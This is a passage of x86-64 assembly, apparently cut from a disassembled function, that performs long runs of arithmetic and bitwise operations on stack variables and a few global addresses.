mov qword [rsp + 0x10180], rax
mov eax, dword [rsp + 0x6c30]
mov ecx, dword [rsp + 0x6e3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f0c], eax
mov rax, qword [rsp + 0xf3d0]
mov ecx, dword [rsp + 0x69d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cfc], eax
mov rax, qword [rsp + 0xffb8]
mov qword [rsp + 0x10188], rax
mov rax, qword [rsp + 0xfe88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1aa8]
sub eax, ecx
mov rcx, qword [rsp + 0xe018]
mov word [rcx], ax
mov rax, qword [rsp + 0xfc88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e08]
add eax, ecx
mov word [0x1402c7668], ax
lea rax, [rsp + 0x27a]
mov qword [rsp + 0x10190], rax
mov rax, qword [rsp + 0xe478]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1d4], al
lea rax, [rsp + 0xec]
mov qword [rsp + 0x10198], rax
mov rax, qword [rsp + 0xeab8]
mov ecx, dword [rsp + 0x7034]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6be8], eax
mov rax, qword [rsp + 0xd9e0]
mov rcx, qword [rsp + 0xda40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc958]
mov qword [rcx], rax
lea rax, [rsp + 0xea30]
mov qword [rsp + 0x101a0], rax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc338]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xf1b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1cc0]
mov word [rsp + 0x1e20], ax
movzx eax, word [rsp + 0x1d5c]
movzx ecx, word [rsp + 0x1adc]
sar eax, cl
mov rcx, qword [0x1402c93e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x21f]
movzx ecx, byte [rsp + 0x94]
or eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x10060]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18b]
shl eax, cl
mov byte [rsp + 0x14e], al
lea rax, [0x1402c90dc]
mov qword [rsp + 0x101a8], rax
mov rax, qword [rsp + 0xf7a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16c8]
add eax, ecx
mov word [rsp + 0x1a50], ax
mov rax, qword [rsp + 0xfd00]
mov eax, dword [rax]
mov dword [rsp + 0x71d8], eax
mov rax, qword [rsp + 0xe8a8]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xe238]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6e34]
mov ecx, dword [rsp + 0x6b70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
lea rax, [rsp + 0xcb58]
mov qword [rsp + 0x101b0], rax
lea rax, [rsp + 0x1534]
mov qword [0x1402c9978], rax
mov rax, qword [0x1402c9488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14e]
sub eax, ecx
mov rcx, qword [rsp + 0xf318]
mov byte [rcx], al
mov rax, qword [rsp + 0xfc38]
movzx eax, byte [rax]
mov byte [rsp + 0x2a6], al
movzx eax, word [rsp + 0x1900]
movzx ecx, word [rsp + 0x1994]
add eax, ecx
mov rcx, qword [rsp + 0xef68]
mov word [rcx], ax
lea rax, [rsp + 0xa5]
mov qword [rsp + 0x101b8], rax
mov rax, qword [rsp + 0xc4a8]
mov ecx, dword [rsp + 0x6f9c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcc40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xde20]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcf00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xeb18]
mov eax, dword [rax]
mov dword [rsp + 0x71dc], eax
mov rax, qword [rsp + 0xf210]
mov rcx, qword [rsp + 0xff90]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xfdb8], rax
mov rax, qword [rsp + 0xd9c8]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9590]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74a5], al
mov rax, qword [rsp + 0xdf38]
movzx eax, byte [rax]
mov byte [rsp + 0x2a7], al
movzx eax, word [rsp + 0x159c]
mov rcx, qword [rsp + 0xf250]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbef0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x217]
movzx ecx, byte [0x1402c750e]
sar eax, cl
mov byte [rsp + 0x23e], al
lea rax, [rsp + 0x1bb4]
mov qword [rsp + 0x101c0], rax
mov eax, dword [rsp + 0x6f40]
cdq
idiv dword [rsp + 0x6b20]
mov dword [rsp + 0x7198], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0xbc00]
mov ecx, dword [rsp + 0x712c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6ff8], eax
mov rax, qword [rsp + 0xc258]
mov rcx, qword [rsp + 0xf248]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe970], rax
movzx eax, byte [0x1402c74fb]
mov byte [0x1402c91dc], al
movzx eax, word [rsp + 0x1aac]
mov word [rsp + 0x1e24], ax
mov rax, qword [rsp + 0x10078]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66]
shl eax, cl
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0xcb68]
movzx eax, word [rax]
mov word [rsp + 0x1e28], ax
movsx eax, word [0x1402c971c]
movsx ecx, word [rsp + 0x19e8]
add eax, ecx
mov rcx, qword [rsp + 0xc288]
mov word [rcx], ax
mov rax, qword [rsp + 0xfab0]
mov rcx, qword [rsp + 0xff08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xef90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf1d0]
mov qword [rsp + 0x101d0], rax
mov rax, qword [rsp + 0xd130]
mov rcx, qword [rsp + 0xe220]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e38], eax
mov rax, qword [rsp + 0xfd98]
mov rax, qword [rax]
mov qword [rsp + 0x101d8], rax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0xf6e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c92c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x16d]
movzx ecx, byte [rsp + 0x168]
sub eax, ecx
mov rcx, qword [rsp + 0xff50]
mov byte [rcx], al
lea rax, [rsp + 0x1ca4]
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0xf758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xfc88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c68], ax
movzx eax, word [rsp + 0x1bf8]
mov rcx, qword [rsp + 0xc378]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xe888]
mov rax, qword [rax]
mov qword [rsp + 0x101e8], rax
mov rax, qword [rsp + 0xe030]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7150], eax
lea rax, [rsp + 0xf978]
mov qword [rsp + 0x101f0], rax
mov eax, dword [rsp + 0x6a64]
mov ecx, dword [rsp + 0x6a1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf8a8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1bbc]
movsx ecx, word [rsp + 0x17fc]
sub eax, ecx
mov rcx, qword [0x1402c9130]
mov word [rcx], ax
mov rax, qword [rsp + 0xd020]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e6]
sub eax, ecx
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0xf3b0]
movzx eax, byte [rax]
mov byte [rsp + 0x2a8], al
movzx eax, word [0x1402c75b0]
mov rcx, qword [rsp + 0xedf0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ce4], ax
mov rax, qword [rsp + 0xe3e8]
movzx eax, word [rax]
mov word [rsp + 0x1e2c], ax
mov eax, dword [rsp + 0x6c9c]
mov ecx, dword [rsp + 0x71a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdaf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xfef8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcb58], rax
mov rax, qword [rsp + 0xfb08]
mov eax, dword [rax]
mov dword [rsp + 0x71e0], eax
mov rax, qword [rsp + 0xf740]
movzx ecx, al
mov rax, qword [rsp + 0x101e8]
shl rax, cl
mov qword [rsp + 0x101d0], rax
mov rax, qword [0x1402c9688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1dc]
and eax, ecx
mov byte [0x1402c7582], al
lea rax, [rsp + 0x129]
mov qword [rsp + 0x101f8], rax
movzx eax, word [rsp + 0x18f8]
mov rcx, qword [rsp + 0xcb18]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xed58]
mov word [rcx], ax
lea rax, [rsp + 0x1874]
mov qword [rsp + 0x10200], rax
movzx eax, byte [rsp + 0x1da]
mov rcx, qword [rsp + 0xd1f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xfa30]
mov byte [rcx], al
mov eax, dword [rsp + 0x6fe8]
mov ecx, dword [rsp + 0x6e08]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xea20]
mov rax, qword [rax]
mov qword [rsp + 0x10208], rax
mov rax, qword [rsp + 0xfbc0]
mov rcx, qword [rsp + 0xbdd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc920]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d3c]
mov dword [rsp + 0x71e4], eax
mov rax, qword [rsp + 0xeb60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10030]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c92f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1578]
add eax, ecx
mov rcx, qword [rsp + 0xc6c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe6f8]
movsx eax, word [rax]
movsx ecx, word [0x1402c75a8]
add eax, ecx
mov word [rsp + 0x1598], ax
mov rax, qword [rsp + 0xfec0]
movzx eax, byte [rax]
mov byte [rsp + 0x2a9], al
mov rax, qword [rsp + 0xd298]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf9f0]
mov byte [rcx], al
lea rax, [rsp + 0xc508]
mov qword [rsp + 0x10210], rax
mov rax, qword [rsp + 0xf290]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402c7498]
sar eax, cl
mov rcx, qword [rsp + 0xbe18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6c0c]
mov rcx, qword [rsp + 0xbad0]
mov qword [rsp + 0x10218], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10218]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc6b0]
mov dword [rcx], eax
lea rax, [rsp + 0xc2a8]
mov qword [rsp + 0x10220], rax
mov rax, qword [0x1402c9838]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x152]
xor eax, ecx
mov byte [rsp + 0x1ef], al
movzx eax, word [rsp + 0x1680]
mov rcx, qword [rsp + 0xe658]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402c766c], ax
lea rax, [rsp + 0x1a30]
mov qword [rsp + 0x10228], rax
movzx eax, byte [rsp + 0x159]
movzx ecx, byte [rsp + 0x228]
and eax, ecx
mov byte [rsp + 0x25d], al
mov rax, qword [rsp + 0xcee8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c68]
add eax, ecx
mov word [rsp + 0x1788], ax
mov rax, qword [rsp + 0xfb68]
mov qword [rsp + 0x10230], rax
mov rax, qword [rsp + 0xe9b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xede8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
mov qword [rsp + 0x10238], rax
mov eax, dword [rsp + 0x70dc]
mov ecx, dword [rsp + 0x6c38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c44], eax
mov rax, qword [rsp + 0xc088]
movzx eax, word [rax]
mov word [rsp + 0x1e30], ax
lea rax, [rsp + 0x10c]
mov qword [0x1402c9980], rax
mov rax, qword [rsp + 0xf7a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10178]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf738]
mov word [rcx], ax
movzx eax, byte [rsp + 0x22a]
mov rcx, qword [rsp + 0xfce0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0xe8d0]
movzx eax, byte [rax]
mov byte [rsp + 0x2aa], al
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xd970]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe140]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7038]
mov dword [rsp + 0x71e8], eax
mov rax, qword [rsp + 0x10000]
mov rcx, qword [rsp + 0xe2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c70], eax
mov rax, qword [rsp + 0xdc20]
mov rcx, qword [rsp + 0x10090]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe668]
mov qword [rcx], rax
lea rax, [rsp + 0x1bb8]
mov qword [rsp + 0x10240], rax
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe2a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74d6], al
movsx eax, byte [rsp + 0x12f]
movsx ecx, byte [rsp + 0x5d]
shl eax, cl
mov byte [rsp + 0x212], al
lea rax, [rsp + 0x18f4]
mov qword [rsp + 0x10248], rax
mov rax, qword [rsp + 0xbfe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbe70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0xc078]
mov rcx, qword [rsp + 0xef30]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc820], rax
lea rax, [rsp + 0x6e3c]
mov qword [rsp + 0x10250], rax
mov rax, qword [rsp + 0xd460]
mov rcx, qword [rsp + 0xddf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6c44], eax
lea rax, [0x1402c7490]
mov qword [rsp + 0x10258], rax
movsx eax, word [rsp + 0x1b5c]
mov rcx, qword [rsp + 0xf638]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d44], ax
movzx eax, byte [rsp + 0x23d]
mov byte [0x1402c91dd], al
movzx eax, byte [rsp + 0x146]
mov rcx, qword [0x1402c9878]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e5], al
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
mov word [rsp + 0x1e34], ax
mov rax, qword [rsp + 0xc4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd570]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b3c], ax
mov rax, qword [rsp + 0xc1e0]
movzx eax, byte [rax]
mov byte [rsp + 0x2ab], al
mov rax, qword [rsp + 0xf0e8]
mov rcx, qword [rsp + 0xf8e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe6b0], rax
lea rax, [rsp + 0x6c20]
mov qword [rsp + 0x10260], rax
mov rax, qword [rsp + 0xd290]
mov rcx, qword [rsp + 0xe088]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe138]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf4b0]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc768]
mov dword [rcx], eax
mov rax, qword [rsp + 0xfd80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c9658], ax
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x2ac], al
mov rax, qword [rsp + 0xc760]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc108]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18f8], ax
movzx eax, byte [rsp + 0xf6]
mov byte [rsp + 0x2ad], al
movzx eax, byte [rsp + 0x141]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0xe3d0]
mov rcx, qword [rsp + 0xc5d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcdf8]
mov dword [rcx], eax
lea rax, [rsp + 0xf098]
mov qword [rsp + 0x10268], rax
mov eax, dword [0x1402c7498]
movzx ecx, al
mov eax, dword [rsp + 0x6f88]
sar eax, cl
mov rcx, qword [rsp + 0xf4e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf388]
mov rax, qword [rax]
mov qword [rsp + 0x10270], rax
lea rax, [rsp + 0x1b40]
mov qword [0x1402c9988], rax
mov rax, qword [rsp + 0xcf88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc7d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x217], al
movsx eax, byte [0x1402c751b]
movsx ecx, byte [rsp + 0x22b]
xor eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x169c]
mov word [rsp + 0x1e38], ax
movsx eax, word [rsp + 0x1df0]
movsx ecx, word [rsp + 0x1710]
or eax, ecx
mov word [rsp + 0x1530], ax
lea rax, [0x1402c7490]
mov qword [rsp + 0x10278], rax
mov rax, qword [rsp + 0xcfb0]
mov rcx, qword [rsp + 0xfa78]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
lea rax, [rsp + 0x71a0]
mov qword [rsp + 0x10280], rax
mov rax, qword [rsp + 0xf6c8]
mov rcx, qword [rsp + 0xf650]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc580], rax
movsx eax, word [rsp + 0x1ad8]
mov rcx, qword [rsp + 0xd768]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9608]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1b4]
movsx ecx, byte [0x1402c7526]
sub eax, ecx
mov rcx, qword [rsp + 0xf360]
mov byte [rcx], al
mov rax, qword [rsp + 0xca90]
movzx eax, byte [rax]
mov byte [rsp + 0x2ae], al
movsx eax, word [rsp + 0x1bb4]
movsx ecx, word [rsp + 0x1c10]
add eax, ecx
mov word [rsp + 0x1c80], ax
lea rax, [rsp + 0x1678]
mov qword [rsp + 0x10288], rax
mov eax, dword [rsp + 0x6b54]
mov ecx, dword [0x1402c90a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xfab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xeed0]
mov rcx, qword [rsp + 0xe0f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf978], rax
lea rax, [rsp + 0x7010]
mov qword [rsp + 0x10290], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xe6c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xde60], rax
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
and eax, ecx
mov byte [0x1402c7583], al
mov rax, qword [0x1402c9538]
movzx eax, byte [rax]
mov byte [rsp + 0x2af], al
mov rax, qword [rsp + 0xf758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e28]
add eax, ecx
mov rcx, qword [rsp + 0xe570]
mov word [rcx], ax
mov rax, qword [rsp + 0xc3d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc838]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x19e4], ax
movzx eax, word [0x1402c7574]
mov word [rsp + 0x1e3c], ax
mov rax, qword [rsp + 0xd340]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b10]
sar eax, cl
mov dword [rsp + 0x7080], eax
mov rax, qword [rsp + 0xcef8]
mov eax, dword [rax]
mov dword [rsp + 0x71ec], eax
mov rax, qword [rsp + 0xeed0]
mov rcx, qword [rsp + 0xf770]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd370]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe3f8]
mov rcx, qword [rsp + 0xbe50]
mov qword [rsp + 0x10298], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10298]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc700], rax
movsx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0xff88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c90b5], al
lea rax, [0x1402c754a]
mov qword [rsp + 0x102a0], rax
movsx eax, word [rsp + 0x1a3c]
mov rcx, qword [rsp + 0xd558]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1530], ax
movzx eax, word [rsp + 0x16ec]
mov word [rsp + 0x1e40], ax
mov rax, qword [rsp + 0xd040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x289]
add eax, ecx
mov rcx, qword [rsp + 0xc870]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd38]
mov eax, dword [rax]
mov dword [rsp + 0x71f0], eax
mov eax, dword [rsp + 0x6f9c]
mov ecx, dword [rsp + 0x6f90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c9c], eax
mov rax, qword [rsp + 0xc750]
mov rcx, qword [rsp + 0xcde0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe378]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf020]
mov qword [rsp + 0x102a8], rax
movzx eax, word [rsp + 0x1cd8]
mov rcx, qword [rsp + 0xd2b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7600], ax
movsx eax, word [0x1402c9658]
mov rcx, qword [rsp + 0xc0b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c40], ax
lea rax, [rsp + 0x1b4]
mov qword [rsp + 0x102b0], rax
movsx eax, byte [rsp + 0x139]
movsx ecx, byte [rsp + 0x90]
sub eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0xf140]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xfb10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xfeb0]
mov byte [rcx], al
mov eax, dword [rsp + 0x71a8]
mov dword [rsp + 0x71f4], eax
mov rax, qword [rsp + 0xc810]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xea90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe0a8]
mov eax, dword [rax]
mov dword [rsp + 0x71f8], eax
mov rax, qword [rsp + 0xc060]
mov rcx, qword [rsp + 0xcca0]
mov qword [rsp + 0x102b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x102b8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc328], rax
movsx eax, byte [rsp + 0x2a7]
mov rcx, qword [0x1402c9538]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402c7586], al
movsx eax, word [rsp + 0x1694]
mov rcx, qword [rsp + 0xc578]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16c0], ax
lea rax, [rsp + 0x1b48]
mov qword [rsp + 0x102c0], rax
mov rax, qword [rsp + 0xd360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x100d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x20d], al
movzx eax, word [rsp + 0x19b8]
mov word [rsp + 0x1e44], ax
mov rax, qword [rsp + 0xc1c8]
mov rcx, qword [rsp + 0xdda8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xea80]
mov qword [rcx], rax
lea rax, [rsp + 0xf628]
mov qword [rsp + 0x102c8], rax
mov rax, qword [rsp + 0xe220]
mov rcx, qword [rsp + 0xf268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xee50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6ef0]
mov ecx, dword [rsp + 0x6d20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b64], eax
movzx eax, byte [0x1402c751b]
mov byte [rsp + 0x2b0], al
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xfa30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c90df], al
mov rax, qword [rsp + 0xc710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf9e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf7a0]
mov word [rcx], ax
lea rax, [rsp + 0x1ae8]
mov qword [rsp + 0x102d0], rax
mov rax, qword [rsp + 0xd3c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc088]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15f8], ax
mov rax, qword [rsp + 0xfda8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd6b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0x102d8], rax
mov rax, qword [rsp + 0xea08]
mov ecx, dword [rsp + 0x71e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xe990]
mov dword [rcx], eax
lea rax, [rsp + 0xf220]
mov qword [rsp + 0x102e0], rax
movzx eax, byte [rsp + 0x1af]
movzx ecx, byte [rsp + 0x1be]
add eax, ecx
mov byte [rsp + 0x224], al
lea rax, [rsp + 0xa8]
mov qword [0x1402c9990], rax
mov rax, qword [rsp + 0xe218]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19f0]
add eax, ecx
mov word [rsp + 0x1d18], ax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x102e8], rax
movsx eax, word [0x1402c9490]
mov rcx, qword [rsp + 0xcae0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd418]
mov word [rcx], ax
lea rax, [rsp + 0x6c58]
mov qword [rsp + 0x102f0], rax
mov rax, qword [rsp + 0xcdb8]
mov rcx, qword [rsp + 0xd970]
mov qword [rsp + 0x102f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x102f8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xfbc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf50]
mov rcx, qword [rsp + 0xf258]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xf448]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6c18]
mov dword [rsp + 0x71fc], eax
mov rax, qword [rsp + 0xca38]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c7557]
sar eax, cl
mov byte [rsp + 0x13f], al
movzx eax, byte [rsp + 0x124]
mov byte [0x1402c91de], al
lea rax, [rsp + 0x1be4]
mov qword [rsp + 0x10300], rax
movsx eax, byte [rsp + 0x25c]
mov rcx, qword [rsp + 0xe410]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xdf98]
mov byte [rcx], al
lea rax, [0x1402c7620]
mov qword [rsp + 0x10308], rax
mov rax, qword [rsp + 0xc9c0]
mov rcx, qword [rsp + 0xed00]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc858], rax
mov eax, dword [rsp + 0x69bc]
mov ecx, dword [rsp + 0x6bf4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ee0], eax
lea rax, [rsp + 0xf220]
mov qword [rsp + 0x10310], rax
mov rax, qword [rsp + 0xc090]
mov rcx, qword [rsp + 0xc498]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6fe4], eax
movzx eax, byte [rsp + 0x18d]
mov byte [rsp + 0x2b1], al
mov rax, qword [rsp + 0xd248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca8]
sub eax, ecx
mov rcx, qword [0x1402c9248]
mov word [rcx], ax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc8c8]
mov word [rcx], ax
